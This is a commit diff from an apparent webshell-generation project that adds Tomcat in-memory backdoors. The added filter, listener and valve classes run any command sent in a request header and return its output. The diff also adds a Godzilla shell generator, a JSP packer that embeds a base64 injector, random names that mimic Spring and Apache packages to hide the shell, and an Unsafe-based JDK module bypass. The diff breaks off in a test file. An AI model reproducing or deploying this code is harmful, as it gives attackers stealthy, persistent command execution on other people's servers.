mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support tomcat cmd shell and jsp packer
This commit is contained in:
@@ -0,0 +1,55 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.JspPacker;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class GeneratorMain {
|
||||
public static void main(String[] args) throws IOException {
|
||||
Server server = Server.TOMCAT;
|
||||
ShellTool shellTool = ShellTool.Godzilla;
|
||||
String shellType = TomcatShell.FILTER;
|
||||
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
|
||||
.pass("pass")
|
||||
.key("key")
|
||||
.headerName("User-Agent")
|
||||
.headerValue("test")
|
||||
.build();
|
||||
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
|
||||
if (generateResult != null) {
|
||||
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
|
||||
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
|
||||
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
|
||||
System.out.println(shellConfig);
|
||||
JspPacker jspPacker = new JspPacker();
|
||||
String jspContent = new String(jspPacker.pack(generateResult));
|
||||
System.out.println(jspContent);
|
||||
}
|
||||
}
|
||||
|
||||
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
switch (server) {
|
||||
case TOMCAT:
|
||||
return TomcatShell.generate(shellTool, shellType, shellConfig);
|
||||
case BES:
|
||||
break;
|
||||
case RESIN:
|
||||
break;
|
||||
case JETTY:
|
||||
break;
|
||||
default:
|
||||
throw new IllegalArgumentException("Unsupported server");
|
||||
}
|
||||
return GenerateResult.builder().build();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@ToString
|
||||
public class CommandShellConfig extends ShellConfig {
|
||||
@Builder.Default
|
||||
private String headerName = "cmd";
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@Builder
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
|
||||
public GenerateResult encodeBase64() {
|
||||
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||
return this;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.*;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Getter
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
@ToString
|
||||
public class GodzillaShellConfig extends ShellConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
@Builder.Default
|
||||
private String key = "key";
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
private String headerValue = CommonUtil.getRandomString(8);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Builder;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
import lombok.experimental.SuperBuilder;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
@Data
|
||||
@SuperBuilder
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ShellConfig {
|
||||
@Builder.Default
|
||||
private String shellClassName = CommonUtil.generateShellClassName();
|
||||
@Builder.Default
|
||||
private String injectorClassName = CommonUtil.generateInjectorClassName();
|
||||
@Builder.Default
|
||||
private String urlPattern = "/*";
|
||||
}
|
||||
@@ -1,41 +0,0 @@
|
||||
package com.reajason.javaweb.config;
|
||||
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import lombok.Getter;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String SERVLET = "servlet";
|
||||
public static final String JAKARTA_SERVLET = "jakartaServlet";
|
||||
public static final String FILTER = "filter";
|
||||
public static final String JAKARTA_FILTER = "jakartaFilter";
|
||||
public static final String LISTENER = "listener";
|
||||
public static final String JAKARTA_LISTENER = "jakartaListener";
|
||||
public static final String WEBSOCKET = "websocket";
|
||||
public static final String VALVE = "valve";
|
||||
public static final String UPGRADE = "upgrade";
|
||||
public static final String EXECUTOR = "executor";
|
||||
|
||||
|
||||
@Getter
|
||||
public static enum Godzilla {
|
||||
|
||||
/**
|
||||
* Tomcat Filter
|
||||
*/
|
||||
Filter(TomcatShell.FILTER, GodzillaFilter.class),
|
||||
;
|
||||
|
||||
Godzilla(String shellType, Class<?> shellClass) {
|
||||
this.shellClass = shellClass;
|
||||
this.shellType = shellType;
|
||||
}
|
||||
|
||||
private final String shellType;
|
||||
private final Class<?> shellClass;
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandGenerator {
|
||||
|
||||
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -14,7 +14,7 @@ import org.apache.commons.codec.digest.DigestUtils;
|
||||
*/
|
||||
public class GodzillaGenerator {
|
||||
|
||||
public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
|
||||
@@ -6,7 +6,6 @@ import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.util.Objects;
|
||||
|
||||
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||
public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
import java.nio.charset.Charset;
|
||||
import java.util.Objects;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public class JspPacker implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/26
|
||||
*/
|
||||
public interface Packer {
|
||||
byte[] pack(GenerateResult generateResult);
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
package com.reajason.javaweb.memsell.tomcat;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memsell.InjectorGenerator;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String FILTER = "Filter";
|
||||
public static final String JAKARTA_FILTER = "JakartaFilter";
|
||||
public static final String LISTENER = "Listener";
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String WEBSOCKET = "Websocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
/**
|
||||
* 哥斯拉 shell 生成的模板类以及注入器类
|
||||
*/
|
||||
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
|
||||
|
||||
static {
|
||||
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
/**
|
||||
* 命令执行 shell 生成的模板类以及注入器类
|
||||
*/
|
||||
public static final Map<String, Pair<Class<?>, Class<?>>> COMMAND_SHELL_MAP = new HashMap<>();
|
||||
|
||||
static {
|
||||
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
byte[] shellBytes;
|
||||
switch (shellTool) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
|
||||
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
|
||||
godzillaConfig.getShellClassName(),
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue());
|
||||
break;
|
||||
}
|
||||
case CMD: {
|
||||
classPair = COMMAND_SHELL_MAP.get(shellType);
|
||||
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
|
||||
shellBytes = CommandGenerator.generate(classPair.getLeft(),
|
||||
commandConfig.getShellClassName(),
|
||||
commandConfig.getHeaderName());
|
||||
break;
|
||||
}
|
||||
default:
|
||||
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
|
||||
}
|
||||
|
||||
Class<?> injectorClass = classPair.getRight();
|
||||
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern());
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(shellConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
.shellConfig(shellConfig)
|
||||
.build().encodeBase64();
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String headerName;
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getHeader(headerName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
+40
@@ -0,0 +1,40 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandJakartaFilter implements Filter {
|
||||
public String headerName;
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getHeader(headerName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.ServletOutputStream;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandJakartaListener implements ServletRequestListener {
|
||||
public String headerName;
|
||||
|
||||
public CommandJakartaListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import javax.servlet.ServletRequestEvent;
|
||||
import javax.servlet.ServletRequestListener;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandListener implements ServletRequestListener {
|
||||
public String headerName;
|
||||
|
||||
public CommandListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestDestroyed(ServletRequestEvent sre) {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,62 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import org.apache.catalina.Valve;
|
||||
import org.apache.catalina.connector.Request;
|
||||
import org.apache.catalina.connector.Response;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.ServletOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandValve implements Valve {
|
||||
protected Valve next;
|
||||
protected boolean asyncSupported;
|
||||
public String headerName;
|
||||
|
||||
public CommandValve() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public Valve getNext() {
|
||||
return this.next;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void setNext(Valve valve) {
|
||||
this.next = valve;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean isAsyncSupported() {
|
||||
return this.asyncSupported;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void backgroundProcess() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void invoke(Request request, Response response) throws IOException, ServletException {
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = response.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
this.getNext().invoke(request, response);
|
||||
}
|
||||
}
|
||||
}
|
||||
-1
@@ -77,7 +77,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
|
||||
@@ -12,10 +12,15 @@ import java.lang.reflect.Method;
|
||||
public class ClassUtils {
|
||||
|
||||
@SneakyThrows
|
||||
public static Object newInstance(byte[] bytes) {
|
||||
public static Class<?> defineClass(byte[] bytes) {
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
|
||||
return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static Object newInstance(byte[] bytes) {
|
||||
Class<?> clazz = defineClass(bytes);
|
||||
return clazz.newInstance();
|
||||
}
|
||||
|
||||
@@ -32,4 +37,21 @@ public class ClassUtils {
|
||||
method.setAccessible(true);
|
||||
return method.invoke(object, parameters);
|
||||
}
|
||||
|
||||
public static void byPassJdkModule() {
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
Object unsafe = unsafeField.get(null);
|
||||
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
|
||||
Object module = getModuleM.invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
|
||||
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
|
||||
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
|
||||
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -2,6 +2,8 @@ package com.reajason.javaweb.util;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.security.SecureRandom;
|
||||
import java.util.Random;
|
||||
import java.util.zip.GZIPOutputStream;
|
||||
|
||||
/**
|
||||
@@ -15,4 +17,42 @@ public class CommonUtil {
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static String getRandomString(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
SecureRandom random = new SecureRandom();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
for (int i = 0; i < length; i++) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
private static final String[] PACKAGE_NAMES = {
|
||||
"org.springframework",
|
||||
"org.apache.commons",
|
||||
"org.apache.logging",
|
||||
"org.apache",
|
||||
"com.fasterxml.jackson",
|
||||
"org.junit",
|
||||
"org.apache.commons.lang",
|
||||
"org.apache.http.client",
|
||||
"com.google.gso",
|
||||
"ch.qos.logback"
|
||||
};
|
||||
|
||||
private static String getRandomPackageName() {
|
||||
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
|
||||
}
|
||||
|
||||
public static String generateShellClassName() {
|
||||
return getRandomPackageName() + ".ErrorHandler";
|
||||
}
|
||||
|
||||
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
|
||||
|
||||
public static String generateInjectorClassName() {
|
||||
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because one or more lines are too long
@@ -18,8 +18,6 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
* @since 2024/11/23
|
||||
*/
|
||||
class GodzillaGeneratorTest {
|
||||
|
||||
GodzillaGenerator godzillaGenerator = new GodzillaGenerator();
|
||||
String pass = "pass";
|
||||
String key = "key";
|
||||
String headerName = "User-Agent";
|
||||
@@ -29,7 +27,7 @@ class GodzillaGeneratorTest {
|
||||
@Disabled("just for generate")
|
||||
void testGenerate() throws IOException {
|
